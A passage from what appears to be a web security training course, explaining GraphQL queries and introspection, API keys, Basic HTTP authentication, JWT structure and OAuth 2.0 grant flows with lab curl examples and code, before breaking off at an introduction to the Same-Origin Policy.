Line 12 represents a case when an entity has linked subentities,
such as when we define foreign keys on our tables. Lines 12 to 14
indicate that we need to retrieve all the songs that are linked to the
particular artists the server is returning. In database terms, we are
requesting an inner join.[637]
Besides the format we just analyzed, there are other features that
GraphQL requests support, such as variables and aliases for the
fields.
An important detail is that although we can send many requests, they
must correspond to the same type. This means we can't mix queries with
mutations in a single request. In our example, we sent three queries.
Let's analyze another example in which we'll only send one query.
01: query{
02: songs{
03: name
04: }
05: }
Listing 19 - GraphQL query, only one request
The syntax didn't vary much. Any of the three example queries from
Listing 18 can be sent individually.
To consume GraphQL services, we can use any HTTP client. However, the
GraphQL Foundation has defined a reference implementation of a GraphQL
IDE called GraphiQL.[638] This IDE can be server-based or
client-based. In some cases, client-based implementations of GraphiQL
are Electron[639] wrappers of the web interface.
To follow along with this section, let's start the VM in the
Resources section at the bottom of this page. Next, we need to
recreate the SSH tunnel to access our browser-based IDE.
We can navigate to http://webservices:8085/graphql to find an
in-browser instance of GraphiQL.
This site will allow us to send requests to our GraphQL server. We'll
use the same payload we analyzed before so that we can explore what
the server returns.
query{
song(songId:1){
id,
name,
artistId
}
songs{
name
}
artists{
name,
songs{
name
}
}
}
Listing 20 - Query to execute via GraphiQL
We can copy the request from Listing 20 and
paste it into the panel located on the left of the page. Next, let's
click on the button with the play icon to execute it.
Unlike the request we sent, the response we received from the server
is a valid JSON document, and it contains objects for each of the
requests we submitted.
Let's explore a mutation. Just like the query with a parameter, we'll
use the same syntax. The response we receive from mutations is also
flexible.
mutation{
addArtist(name:"Erik Satie"){
id,
name
}
}
Listing 21 - Mutation to execute via GraphiQL
Besides the name parameter, we can also request specific return
parameters. In this case, we created an artist and requested the
id and name parameters from the server. Let's execute it by
copying the request from Listing 21,
replacing the previous request we sent, and then clicking the play
button to check the response.
{
"data": {
"addArtist": {
"id": 3,
"name": "Erik Satie"
}
}
}
Listing 22 - Response after executing a mutation.
This response is more useful than a state that only indicates whether
the transaction succeeded.
GraphQL uses a concept called introspection, which provides
functionality allowing us to query the server about the structure of
the schema types, and even about the queries and mutations. We can
use the following query to receive a list of the server's available
mutations and queries.
query {
__schema {
queryType {
name
fields {
name
}
}
}
__schema {
mutationType {
name
fields {
name
}
}
}
}
Listing 23 - Introspection Query
If we execute that query using GraphiQL, we'll receive the following
response:
01: {
02: "data": {
03: "__schema": {
04: "queryType": {
05: "name": "Query",
06: "fields": [
07: {
08: "name": "hello"
09: },
10: {
11: "name": "songs"
12: },
13: {
14: "name": "song"
15: },
16: {
17: "name": "artists"
18: }
19: ]
20: },
21: "mutationType": {
22: "name": "Mutation",
23: "fields": [
24: {
25: "name": "addArtist"
26: }
27: ]
28: }
29: }
30: }
31: }
Listing 24 - Introspection response
According to the response, the server has four types of queries and
one mutation that we can consume.
As with any other type of documentation, it is important to only
enable introspection if it is necessary. This recommendation also
applies to the availability of the GraphiQL web interface, because it
gives attackers a better notion of our attack surface.
Let's review some of the most important components that we need
to program when creating a GraphQL server. We are going to explore
the implementation of a type, the definition of a query, and a
resolver.
Using the SSH tunnel we previously defined, let's visit
http://127.0.0.1:8080/?folder=/home/student/graphql and open
VSCode.
Our example uses Strawberry,[640] which provides GraphQL
capabilities to FastAPI.
File: /home/student/graphql/models/entities.py
...
39: @strawberry.type
40: class Artist(Base):
41: __tablename__ = "artist"
42: id: int = Column("id",Integer, primary_key=True)
43: name: str = Column("name", String(50))
44: songs: typing.Optional[typing.List[Song]] = relationship("Song", cascade="all")
...
Listing 25 - Type class definition
Line 39 contains a decorator that tags the class named Artist as a
type.
Lines 42 to 44 contain the properties of the class. In this case,
Strawberry will map them to the fields that users can later request
from the Artist entity.
It is important to note that the class contains additional
configurations that are not related to GraphQL, but are related to the
ORM[641] we are using, which is SQLAlchemy.[642]
ORM means Object Relational Mapping. ORM is a programming
technique used to map classes (defined in a programming language)
to database tables. The main goal is to abstract SQL queries
because fetching and data modification logic are handled by the ORM
framework.
The only elements relevant to Strawberry are the decorator, which
tags the class as a Strawberry type, and the properties of the
class, including their primitive data types. The classes declared in
entities.py are used to represent the return values of queries.
Next, let's explore code that contains queries with their resolvers.
File: /home/student/graphql/schemas/query.py
...
06: @strawberry.type
07: class Query:
08: @strawberry.field
09: def hello(self) -> str:
10: return "Hello World"
...
18: @strawberry.field
19: async def song(self, info:Info, song_id: int) -> Song:
20: """ Get song by id """
21: song = Song.get_song_by_id(song_id, info)
22: return song
...
Listing 26 - GraphQL - Queries and Resolvers
Line 6 indicates that this class is part of the schema, and although
it might seem counterintuitive, lines 8 and 18 indicate that the
methods they tag contain resolvers.
Lines 9 and 19 contain the method names hello and song, which
correspond to some available queries that we found when we used
introspection previously.
Finally, line 21 calls a static method of the Song class to obtain
the records that the query returns. It's worth highlighting that
Strawberry provides a parameter called info containing the fields
that the user requests, so we know what to extract from our data
source.
The get_song_by_id function is the implementation of our resolver:
it receives the parameters that the user requested via the info
object, and it's required to define any logic we might need to
retrieve that data.
A disadvantage of GraphQL is having another schema to maintain, but
this can be seen as a defense mechanism. If a malicious user requests
a field that exists on the database but is not declared as part of our
GraphQL schema, our GraphQL server throws an error before reaching the
resolver, so extracting information is not as likely as with regular
SQL injections.
Introduction to Security for Web Services
This Learning Unit covers the following Learning Objectives:
- Understand API Keys
- Explore Basic Authentication
- Learn about JSON Web Tokens
- Identify different authentication flows of OAuth
Having explored some ways to implement web services, we can now
analyze some approaches that are commonly used to secure them. We are
going to investigate API Keys, Basic HTTP Authentication, JSON Web
Tokens, and OAuth.
When we need to consume an API, the server may need to identify who we
are (authentication)[643] and what our privileges are
(authorization)[644] before allowing us to interact
with it.
API keys behave as a username and password joined as a single field.
API keys are usually strings that a service provides us so that we can
consume functions.
There are many possible approaches for including keys in our requests.
GET or POST parameters and HTTP headers are common ways to achieve
this.
Depending on the type of service, we can use API keys for clients in
relatively secure environments such as our back-end, or clients in
dangerous environments, such as web browsers or mobile applications.
This means that in some cases, such as server-side applications
that need to consume external services, we can expect API keys to be
stored securely. In the event a leak, we can generate a new key and
invalidate the old one.
In other cases, we might need to consume APIs in environments where
it's inherently impossible to keep them secret. A common example of
this is when we need a web application to be able to consume Google
Maps' API.[645]
Let's explore a snippet from Google Maps' official
documentation.[646]
01: // Create the script tag, set the appropriate attributes
01: var script = document.createElement('script');
03: script.src = 'https://maps.googleapis.com/maps/api/js?key=YOUR_API_KEY &callback=initMap';
04: script.async = true;
05: // Attach your callback function to the `window` object
06: window.initMap = function() {
07: // JS API is loaded and available
08: };
09: // Append the 'script' element to 'head'
10: document.head.appendChild(script);
Listing 27 - Including Google Maps' API Key
Line 3 contains our API key. Even if we obfuscated the Javascript code
(making it more difficult to read), anyone with enough motivation will
be able to get the key.
To prevent anyone from using our key in a context different from our
environment, API providers have ways to restrict API keys by using
runtime parameters. The most common ways to restrict API keys are:
HTTP referers:[647] This allows us to identify
where the request comes from. We can allow specific IPs, domains and
subdomains.
IP address: This limits the API key so that we can use it only
from specific IP addresses. This approach is more useful when we want
to secure server-side clients.
Application signatures and identifiers: When the client is a
mobile app, we can use the application signature for Android, and the
application's Bundle id for iOS. If the key is then bundled on apps
that do not meet those criteria, it can be considered invalid.
Generally, it is the API consumer's responsibility to take precautions
to secure their keys, which is why it is always a good idea to have
billing alarms, especially in cases when we are being charged per
request.
Basic HTTP authentication was defined in RFC 7235.[648]
It covers how to require authentication to gain access to a complete
website or a subset of URLs.
When we use basic authentication, credentials are sent to the server
via an HTTP header. Let's start our VM to explore the response of a
server when it requires credentials, but we don't provide them.
To follow along with this section, let's start the VM in the
Resources section at the bottom of this page.
Let's use curl with the parameter -I so that it only displays
document information, and the URL that we will visit.
kali@kali:~$curl -I http://webservices/
HTTP/1.1 401 Unauthorized
Date: Mon, 12 Dec 2022 23:29:47 GMT
Server: Apache/2.4.54 (Debian)
WWW-Authenticate: Basic realm="Use your ssh credentials"
Content-Type: text/html; charset=iso-8859-1
Listing 28 - Response when the server requires authentication
The 401 status code indicates that we don't have access to the site,
and the WWW-Authenticate header indicates that we need to use Basic
Authentication. It also includes the realm, which is a name that the
server can assign to a site or portions of a site.
Let's call the site with the correct credentials and explore the
results. To do so, we need the -u flag to define the username
and password separated by a :, as well as -v to get verbose
output, and the URL of the server.
01: kali@kali:~$curl -v -u "student:studentlab" "http://webservices/"
02: * Trying webservices:80...
03: * Connected to webservices (webservices) port 80 (#0)
04: * Server auth using Basic with user 'student'
05: > GET / HTTP/1.1
06: > Host: webservices
07: > Authorization: Basic c3R1ZGVudDpzdHVkZW50bGFi
08: > User-Agent: curl/7.74.0
09: > Accept: */*
10: >
11: * Mark bundle as not supporting multiuse
12: < HTTP/1.1 200 OK
13: < Date: Mon, 12 Dec 2022 23:41:39 GMT
14: < Server: Apache/2.4.54 (Debian)
15: < Content-Length: 16
16: < Content-Type: text/html; charset=UTF-8
17: <
18: Hello, student!
19: * Connection #0 to host webservices left intact
Listing 29 - Successful connection with Basic Authentication
Line 7 includes the structure of the header that contains the
credentials. The name of the header is Authorization, and the value
always starts with the word Basic, followed by a space and then
the base64-encoded[649] form of the username concatenated
with the password with a colon as the separator. This means that the
string c3R1ZGVudDpzdHVkZW50bGFi is the base64 encoding of the string
"student:studentlab", which are the credentials that we specified
initially.
We can observe that the command was successful because on line 12, we
notice a 200 OK response code, and line 18 contains the contents of
the page.
Another feature of Basic Authentication is that it can be implemented
by either the application itself or the server where it's hosted.
This means that even if an application does not have the logic to
implement Basic Authentication, it is possible to add a reverse
proxy[650] to retrofit this security control.
Before HTTPS became as prominent as it is today, it was
recommended to implement Basic Authentication only if the server
supported an encrypted transport layer. This is because the
credentials are essentially cleartext and the encoding is reversible -
thus the need for HTTPS so that the values remain private.
JSON web tokens (JWT)[651] are data structures used to provide
authentication and authorization for websites. JSON web tokens also
have related standards that complement their functionality.
JSON Web Keys (JWK)[652] are a JSON structure used to publish
public keys.
JSON Web Signatures (JWS)[653] are a standard way to attest
some values. They are used by JSON Web Tokens to ensure that no values
have been tampered with.
JSON Web Encryption (JWE)[654] is a standard format to encrypt
JSON Web Tokens.
JSON web tokens have three components: header, payload, and
signature. Each of these components is base64-encoded and separated
by periods.
The header usually contains two fields: "typ", which indicates
that the format of our token is JWT, and "alg", which indicates the
algorithm that is being used to sign the token. Some algorithms use
symmetric[655] encryption such as HS256, and others use
asymmetric[656] encryption such as RS256.
In our example, we will use HS256 (HMACSHA256):
{
"alg": "HS256",
"typ": "JWT"
}
Listing 30 - Header of a JWT
When we encode this using base64, we get:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
The payload section contains the claims, which are assertions related
to the user and the token. We can extend this section to include other
values as needed. However, we should be aware of some basic values,
also called "registered claims", that we need to include in most
cases: iat, which is the timestamp when the token was issued; exp,
which is the timestamp when the token will expire; and sub, which
identifies the user that owns the token.
{
"sub": "852208",
"name": "J. Moran",
"admin": false,
"iat": 1660166548,
"exp": 1660176548
}
Listing 31 - Payload of a JWT
When we encode this using base64, we get:
eyJzdWIiOiI4NTIyMDgiLCJuYW1lIjoiSi4gTW9yYW4iLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTY2MDE2NjU0OCwiZXhwIjoxNjYwMTc2NTQ4fQ.
The signature is a calculation using a cryptographic function that
requires a secret key. Our goal in this section is to verify the
integrity of the claims. A disadvantage of HS256 is that both the
party that generated and the party that verifies the token need to
have the secret key. However, symmetric cryptography is useful when
a single party generates and verifies the validity of tokens. In that
case, there is no need to handle the key exchange.
With other algorithms, there is a public key to verify the signature,
and the issuer of the JWT is the only entity that has access to the
private key used to generate the signature. When we use asymmetric
cryptography, public keys can be shared using JSON Web Keys.
In this case, the calculation is:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), oursecretkey)
Listing 32 - Signature of a JWT
When we encode this using base64, we get: HhhomDA0UHxY2Lf4uhfCAEEjqLZLy1JGu4zhJZXcCqs.
Now that we have the three components of our JWT, the next step is to
base64-encode each component, and then concatenate them using periods
(.) as separators:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiI4NTIyMDgiLCJuYW1lIjoiSi4gTW9yYW4iLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTY2MDE2NjU0OCwiZXhwIjoxNjYwMTc2NTQ4fQ. HhhomDA0UHxY2Lf4uhfCAEEjqLZLy1JGu4zhJZXcCqs
Listing 33 - A complete JWT
We usually include JWT as a header on HTTP requests, like the
following:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI4NTIyMDgiLCJuYW1lIjoiSi4gTW9yYW4iLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTY2MDE2NjU0OCwiZXhwIjoxNjYwMTc2NTQ4fQ.HhhomDA0UHxY2Lf4uhfCAEEjqLZLy1JGu4zhJZXcCqs
Listing 30 - Bearer token
To verify the validity of a JWT, we need to separate the base64
components by using the character "." as the separator to retrieve the
header, the payload, and the signature.
Using the header and the payload, we can again follow the process
to generate the signature. If this new signature that we generated
matches the component that we received from the client, it means that
the JWT is valid from a cryptographic point of view. However, we need
to verify additional details such as the expiration date.
We need to be careful about making implementation mistakes while
implementing JWTs, such as allowing none[657] as the
signature algorithm, which enables attackers to modify claims without
giving us a way to verify if those claims are valid. We also need to
be careful to ensure that even if a JWT signature is cryptographically
valid, it's also not expired.
The need for standardized ways to authenticate users is not
new. Over the years, there have been many standards to delegate
authentication and authorization, including SAML[658] and
Shibboleth.[659] We can use Open Authorization (OAuth)
to achieve similar results. It's worth noting that OAuth's initial
release was considerably complex, especially regarding cryptography.
Since it didn't assume that the channel was secure, the protocol
included many cryptographic steps. Those complex steps were removed
without neglecting the security of the algorithm when OAuth 2.0 was
released.
To understand the importance of OAuth, let's analyze a common
scenario: the need for a user to let us access their information on a
different platform. Before OAuth, to consume external information that
belonged to our user, we needed to ask our user for their credentials
in that third-party platform and then we created a web scraper to
extract data from the third-party platform.
This is not a secure approach because credentials should be private,
and it does not allow the user to granularly define what they will
give us access to.
OAuth 2.0, a mechanism that allows us to achieve authorization,
was released in 2012. Some solutions that implement the
standard are Google Sign-In[660] and Facebook
Login.[661]
The original implementations of Google Sign-in and Facebook Login
are the reason why there's a misconception about OAuth 2.0 providing
authentication, but this is not the case because there is not a
standardized way for OAuth 2.0 to provide user information.
Let's explore some terminology related to OAuth 2.0:
Resource Owner: This name corresponds to the user that we need to
impersonate to access a resource in another application.
Client: The client in the context of OAuth is the application that
is acting on behalf of the user.
Resource Server: This is the server that provides access to the
resource owner's information. It needs to have a way to validate if
the access was granted, as well as the level of authorization that the
client has while impersonating the resource owner.
Authorization Server: This server validates the credentials of the
resource owner and can issue tokens so that the client can access
the Resource Server while impersonating the resource owner.
Scope: Scopes are levels of access that the client can request,
but the resource owner is free to accept or reject them. Some scopes
have standard names, but we can define custom scopes to symbolize
authorization levels. Some standard scopes are openid and offline.
Other possible examples of scopes are profile_view, profile_edit,
and email. The claims that are detailed in the scope are commonly
used for authorization purposes.
Back-Channel communication:[662] These are secure
connections between two entities that do not have intermediate
components such as a web browser. In the context of OAuth 2.0, this
usually means server-to-server communication.
Front-Channel communication:[663] These
communications occur by using an intermediate component (such as a
browser). In the context of OAuth 2.0, these communications are not
considered as secure as back-channel communications because browsers
can have vulnerabilities due to website programming issues, browser
add-ons, and so on.
Token: A token is the value returned by the Authorization Server
to the client. This value can subsequently be used in requests to the
Resource Server. Tokens can have two forms: they can be JWT, which
can be decoded, as well as other forms from which values cannot be
extracted.
Refresh token: Tokens expire. In some cases, the client needs
to be able to get new tokens. In such scenarios, clients can request
the scope "offline", and if the user grants it, the client receives a
refresh token that can be used to get new tokens when old ones expire.
Grant Type: Depending on our use case and security considerations
of the circumstances, the way the user and the client interact with
the authorization server may differ. Grant types are different flows
we can use so that the client can acquire a token after the user has
authenticated with the authorization server. These flows are explained
in the next section.
Before clients can implement a solution based on OAuth 2.0, they need
to previously have an account so that the authorization server can
provide them with a client id and a client secret. For instance,
when we want to use Spotify's[664] API, we need a developer
account so that we can get a client id and a client secret.
In this instance, the client needs to define the scopes that it
will eventually request from users and the redirect URI so that the
Authorization Server has an allow list[665] of possible
URLs where the client can be sent after finishing the process.
Now that we have explored the terminology used in OAuth 2.0, let's
explore different flows (grant types) and the scenarios where each of
them is useful.
Client Credentials: This grant type is used specifically in
machine-to-machine communications where user information is not
involved. This means that with a token of this type, we won't be able
to query user data. This flow must occur using a back-channel.
To get a token using this flow, the client needs to send a POST
request to the Authorization Server that includes the client id and
the client secret. After validating them, the Server will return a
bearer token that the client can send to the Resource Server to gain
access to resources it may need. The endpoint that returns the token
is usually /oauth/token or /oauth2/token.
Authorization Code: This grant type is used in most circumstances
when we need to access user data, except when it is not feasible
to securely store a secret in the architecture. This is because it
involves a step in a front-channel and a step in a back-channel.
This flow has an intermediate value (code) that we need to exchange
for a token. This is because the client needs to send its client
secret to have assurance regarding who is requesting the token. This
value cannot be securely saved on the browser, which is why the code
is exchanged for a token via a back-channel.
This flow requires the following steps: The Client application needs
to present a link or button to the user so that the user is redirected
to the Authorization Server. This endpoint is usually /auth or
/authorize. This redirection contains some GET parameters.
The parameters this redirection includes are client id, the scopes
that the Client needs, the redirect_uri (the path where the
Authorization Server will send the user after the process is finished,
whether or not it succeeded), and a response type, which is usually
the string code. This redirection also contains a state and a
nonce; these parameters are random and generated by the Client. They
are used to prevent Cross-Site Request Forgery (CSRF)[666] and
replay attacks,[667] respectively.
When the user is in the context of the Authorization Server, they
can authenticate normally. If the authentication succeeds, the
Authorization Server lets the user choose which scopes they want the
Client to have.
Provided that the previous step was successful, the Authorization
Server will redirect the user to the Client application's predefined
redirect URI, appending a code as a GET parameter.
With that code, the Client application can call the /token
endpoint of the Authorization Server via a back-channel and obtain
a token or tokens. These tokens can be used as a bearer token in
subsequent requests to the Resource Server.
Depending on the scopes, tokens can vary. As we previously mentioned,
refresh tokens depend on the offline scope.
The openid scope lets the Client request information beyond a
regular token without encoded data. This scope is part of the standard
called OpenID Connect,[668] an extension of OAuth 2.0 that
allows Authorization Servers to include JWTs (also called id tokens)
as responses so that we can also provide authentication as part of
the flow. This also implies that the Authorization Server needs to
provide an endpoint called /userinfo so that the user's data can
be obtained by the Client.
Implicit flow: Although this flow is no longer recommended, it's
important to understand why it was used. This grant type was created
when single-page web applications were starting to become ubiquitous.
Before Cross-Origin Resource Sharing (CORS)[669] became
a standard, browsers did not have an easy way to call endpoints
belonging to different origins; furthermore, storing secrets in a
browser was (and still is) an issue. In the context of a single-page
application, this was a significant limitation.
To be able to complete the flow of OAuth, Client applications were
given the option of using a flow similar to Authorization Code; but in
the step where the code is returned, in the case of Implicit flow, the
token was returned instead.
The Implicit flow was a calculated risk that was only acceptable for
the time when it was initially proposed. Since we have a suitable
modern replacement, this flow is now completely unnecessary.
Authorization Code with Proof Key for Code Exchange
(PKCE):[670] When mobile apps first gained popularity, they
faced one of the same problems as single-page applications: it was
not possible to store secrets securely. As a result, this flow was
created. Due to the nature of this flow, it is also applicable to
single-page applications, which is why Authorization Code with PKCE
replaced the Implicit Flow for clients that can't store secrets, also
known as public clients.[671]
Two key steps differentiate this flow and the regular Authorization
Code. First, the Client Application needs to generate a random
value and a sha256 hash of that value. The hash is sent to the
Authorization Server via redirection to the /authorize path, and
the Authorization Server needs to store that value so that it can be
validated later.
The following steps are the same until the Client needs to request
the token. Normally, the request to the /token endpoint includes
the client secret. However, in this case, we don't have that value.
Instead of that secret, we can use the random value we generated as a
secret.
By the time the /token endpoint is executed, the Authorization
server has the random value in plain text and the hash, which was part
of the initial redirection. This lets the Authorization Server verify
the values by generating the hash again and comparing the value with
the hash it initially received.
After validating that value, the flow continues the same as with the
original version of the Authorization Code flow.
Resource Owner Password: This flow should only be used in
exceptional circumstances, such as cases where there is a very high
level of trust between the Client Application, the Authorization
Server, and the Resource Server.
The way this flow works is that the Client application requests a
token from the Authorization Server by sending the username and the
password of the user to the /token endpoint. This flow does not
allow the user to limit the scope of access that they will grant the
Client application.
This implies that if the Client ever goes rogue, that application
will be able to steal user credentials. In general, even when there
is trust between the involved parties, it is more secure to implement
the Authorization Code flow instead of the Resource Owner Password.
However, this flow makes sense when the Client, the Authorization
Server, and the Resource Server are the same entity.
Device Code: This flow is optimized so that clients that have an
internet connection but don't have user-friendly input methods can
authenticate without having to type long passwords. This includes
devices such as smart TVs.
The Client application starts this flow by calling the /token
endpoint of the Authorization Server, sending its client id and the
scopes it needs. The Authorization Server responds with three values:
the verification URL, a user code, and a device code.
The Client needs to display the verification URL and the user code so
that the user can visit that URL and enter the code.
In the meantime, the Client needs to periodically call the /token
endpoint by sending its client id and the device code that the
Authorization Server previously sent. If the user already finished
entering the code, then the Authorization Server will grant the token
to the Client.
The loop that the Client needs to execute finishes if the
request expires or if the user decides to deny access.
To follow along with this section, let's start the VM in the
Resources section at the bottom of this page. Next, we need to
recreate the SSH tunnel to access our browser-based IDE.
Now that we have analyzed the flows, let's consume an OAuth 2.0
server. First, we need to start our VM. The configuration of our hosts
file must be in place because the Client of our OAuth server has a
redirect URI that depends on the webservices hostname.
To be able to consume an Authorization Server, we'll need to have some
values for the interactions. For our examples, let's use the following
parameters.
Client id: 61aa73e4-1207-4328-8888-bbb7fdb0a47f
Client secret: BKzTqNRFbuTN7T-yxoaZTA03eg
Redirect URI of our Client Application: http://webservices:8085/callback
Other details to consider:
Client application URL: http://webservices:8085
Authorization server URL: http://webservices:4444
Let's start with a client credentials flow. Since this grant type
is for machine-to-machine interactions, we won't need a graphic
interface. We'll use curl to get our token.
The parameters we need to add to our curl request are --data
to include form-encoded POST, client_credentials parameters
grant_type=client_credentials&client_id=61aa73e4-1207-4328-8888-bbb7fdb0a47f&client_secret=BKzTqNRFbuTN7T-yxoaZTA03eg
(which are the grant type), the client_id, and
client_secret. We also need to include the URL, which is
http://webservices:4444/oauth2/token.
Token values will vary with every execution.
kali@kali:~$ curl --data "grant_type=client_credentials&client_id=61aa73e4-1207-4328-8888-bbb7fdb0a47f&client_secret=BKzTqNRFbuTN7T-yxoaZTA03eg" "http://webservices:4444/oauth2/token"
{"access_token":"ory_at_PckW6LtmfRsE2IC7tZD5AWiXMnJ7m0Wil_e5kuMtIBU.YiV_x9fZqqgDPCqGNJHtIe63VIpN_HkntdekRrYJKRs" ,"expires_in":3599 ,"scope":"","token_type":"bearer"}
Listing 34 - OAuth 2.0 using Client Credentials grant
The response we obtained from the Authorization Server includes the
access token, which is a bearer token according to the response.
Finally, we also have an expiration time of 3599 seconds for our
token, which is roughly one hour.
To use that token in subsequent calls to a Resource Server, we need to
include it as an Authorization header. In curl we could achieve this
with the flag -H "Authorization: Bearer <token>". Let's analyze an
example trace of an HTTP request that includes a token:
...
POST /valuable_resource HTTP/1.1
Host: fakeserver:80
User-Agent: curl/7.74.0
Authorization: Bearer ory_at_PckW6LtmfRsE2IC7tZD5AWiXMnJ7m0Wil_e5kuMtIBU.YiV_x9fZqqgDPCqGNJHtIe63VIpN_HkntdekRrYJKRs
...
Listing 35 - Example usage of a Bearer token
During a Client Credentials Flow, we don't have refresh tokens, so we
would need to repeat the process when our current token expires.
To continue, let's explore the Authorization Code grant type and
examine how the components will interact with each other.
We are the Resource Owner; our username is _student@megacorpone.com_.
The Client and the Resource Owner are identified by their URLs.
Let's navigate to http://webservices:8085.
We'll encounter a Client Application called "Alpha" that offers a
link to Sign Up. The link redirects to the /authorize endpoint
of the Authorization Server. To get the complete URL of the link, we
can right-click it and select the option Copy Link if we are running
Firefox. The option is called Copy link address on Chrome.
http://webservices:4444/oauth2/auth?audience =&client_id =61aa73e4-1207-4328-8888-bbb7fdb0a47f&max_age =0&nonce =9c5c6986ebb14e2eac3dd8fa4928c9f4&redirect_uri =http://webservices:8085/callback&response_type =code&scope =openid+offline+read-user-info+write-profile&state =ade87ad716ae452aba926f93333a7b0f
Listing 36 - Alpha Sign Up link
Let's analyze the GET parameters of the URL:
Audience: This parameter indicates the Resource Server that should
receive our token. The convention is to use a URL as an audience. In
our example, we are leaving it empty. In this case, our Authorization
Server will use our client id as an audience.
Client id: This is a value we receive from the Authorization
Server. Without this parameter, we can't continue with the process.
Max Age: This is a cache control parameter. If the value is 0, it
means this request should not be cached.
Nonce: This value is used to prevent replay attacks and is generated
by the Client application.
Redirect URI: This is the location where the Authorization Server
will return the user after the flow is finished, whether or not it was
successful. This URL is not arbitrary; it needs to be agreed with the
Authorization Server, or the flow will not continue.
Response type: In this case, we'll use the value code to follow
the Authorization Code flow. However, this parameter supports other
values in cases such as the Implicit Flow when we expect this endpoint
to return a token instead of a code.
Scope: This is a value or list of values separated by spaces
where we indicate what scopes the Client needs. In this case, we are
requesting two standard scopes (openid and offline) and two custom
scopes (read-user-info and write-profile).
State: This value is used to prevent CSRF attacks and is generated by
the Client application.
Let's click the URL. This will redirect us to the Authorization Server
that will ask for our credentials. For this exercise, we can use the
credentials __student@megacorpone.com:studentlab_, then click on _Log
In.
By this point, we are still in the context of the Authorization
Server, which asks us which scopes we want to authorize the Client
application to have. Let's select all four of them (offline, openid,
read-user-info, and write-profile), and click on Allow Access.
After following these steps, we'll return to the redirect URI of
the Client Application, and that request will include the code
parameter.
http://webservices:8085/callback?code=ory_ac_NGweAG3gg8FNkMe1MqnP2x-5hE0qkTty8BbgAvkAiGw.AhPozrNVqLqIwv7byF32jW49El2XIs3fMfGSXJOIn3I &scope=openid+offline+read-user-info+write-profile&state=ade87ad716ae452aba926f93333a7b0f
Listing 37 - Returning to the Client application's context
Another notable detail about this URL is that it contains the state
parameter, which needs to be the same that the Client used while
redirecting to the /authorize endpoint.
Our Client application calls the /token endpoint of the
Authorization Server and renders the returned values accordingly.
With the values we obtained, we are now able to consume methods
provided by a Resource Server using the Authorization Bearer HTTP
header.
Now that we've explored the steps from the viewpoint of a user, let's
analyze how the Alpha client was implemented, particularly the step
requesting a token using a code.
Let's use our tunnel to connect to VSCode server and navigate to
http://127.0.0.1:8080/?folder=/home/student/oauth2.
We are going to investigate main.py.
File: /home/student/oauth2/main.py
...
26: @app.route('/callback')
27: def callback():
28: #Back-channel path
29: url = "http://hydra:4444/oauth2/token"
30: if 'error' in request.args:
31: return "An error has occured"
32: if not ('code' in request.args and 'state' in request.args and 'scope' in request.args):
33: return "The required parameters are not present"
34: fields = {'client_id': os.environ.get('client_id'), 'client_secret':os.environ.get('client_secret'), 'grant_type':'authorization_code', \
35: 'code':request.args.get('code'), 'state':request.args.get('state'), 'scope':request.args.get('scope'), 'redirect_uri':os.environ.get('redirect_uri')}
36: oauth_response = requests.post(url, data = fields)
37: obj_response = json.loads(oauth_response.text)
38: if not ("scope" in obj_response and "access_token" in obj_response):
39: return oauth_response.text
40: if not "id_token" in obj_response:
41: jwt = "JWT not present because the required scope was not granted"
42: else:
43: jwt = obj_response["id_token"]
44: if not "refresh_token" in obj_response:
45: refresh = "Refresh token is not present because the required scope was not granted"
46: else:
47: refresh = obj_response["refresh_token"]
48: return render_template("generic.html", scopes=obj_response["scope"], oauth_token=obj_response["access_token"], jwt=jwt, refresh=refresh)
...
Listing 38 - Requesting tokens from Client application
On line 29, we can find the URL of our Authorization Server. It's
different from the one we used previously because this connection is
via a back-channel.
Lines 34 and 35 contain the parameters we need to send to the
endpoint.
The rest of the file contains validations because, depending on the
scopes that the user accepted, some tokens may or may not be part of
the response.
As we have explored, the end goal of OAuth 2.0 is to acquire a token
or a set of tokens that we can use to consume web services. We can use
this approach with any of the types of web services that we already
explored because the only additional requirement is to add an HTTP
header.
Let's explore some common occurrences that we need to avoid when
securing our web services.
We need to authenticate users of our services with standard
methodologies. It is not correct to authenticate clients via their
network location. A client consuming our endpoint from the same
network should not be considered safe just because of their location,
since we would be relying on spoofable data as an authentication
parameter.
Authorization cannot be inherently trusted just because it's part of
a request from a user. The standard way to approach this problem is by
using a properly signed or verifiable token. The role or permissions a
user has cannot be sent via any other mechanism because this could be
spoofed.
In the name of scalability sometimes we return too much information
to clients. In cases where the clients are internal and the API
is not publicly consumed by browsers, this does not represent a
significant risk. However, when mobile applications or single-page
web applications consume APIs that were initially meant to be private,
we could end up in situations where we return sensitive data. This
usually happens when RESTful web services return all of the columns
and, in some cases, even all of the records of a database table.
Usable security is very important. In some scenarios, the
authentication flow of mobile apps uses different endpoints that
"simplify" authentication; however, they may end up bypassing security
controls that are present in the desktop version of the same product.
An attacker could exploit this degradation to attack services. We need
to standardize our authentication flows so that this does not occur.
In this Learning Module, we have explored different ways to create and
consume web services, acknowledging the benefits and disadvantages of
each approach. We also analyzed some ways to secure web services in
production, such as avoiding spoofable parameters to authenticate and
authorize our users.
Same-Origin Policy and CORS
In this Learning Module, we will cover the following Learning Units:
- Origins and the Same-Origin Policy (SOP)
- Cross-Origin Resource Sharing (CORS)
- Sending Requests Between Origins
Modern web applications often use resources and data from multiple
domains or web sites. Web applications load images, fonts, and
even JavaScript from external domains. When an HTML page or other
resource on one domain instructs a browser to load content from
another domain, the resulting request is a cross-origin request.
Browsers implement the Same-Origin Policy (SOP),[672] a
protective mechanism that limits how JavaScript code can interact with
such requests and their responses. We will go into more detail on SOP
in the next Learning Unit. Developers can use Cross-Origin Resource
Sharing (CORS)[673] to selectively relax the SOP on their
applications.
JSON with Padding (JSONP)[674] is another technique
for bypassing the SOP, but it has multiple security concerns and
has largely been replaced by CORS. We will not cover JSONP in this
Learning Module.
We will explore these mechanisms and their security implications in
this Learning Module. We will also cover how to send cross-origin
requests in JavaScript.
Origins and the Same-Origin Policy (SOP)
This Learning Unit covers the following Learning Objectives:
- Understand what an origin is in the context of web applications
- Understand the Same-Origin Policy
In the context of web applications, an origin is a subset of a
URL. It is the combination of a protocol,[675] a
hostname,[676] and a port number.[677]
Let's review a sample URL and determine its origin.
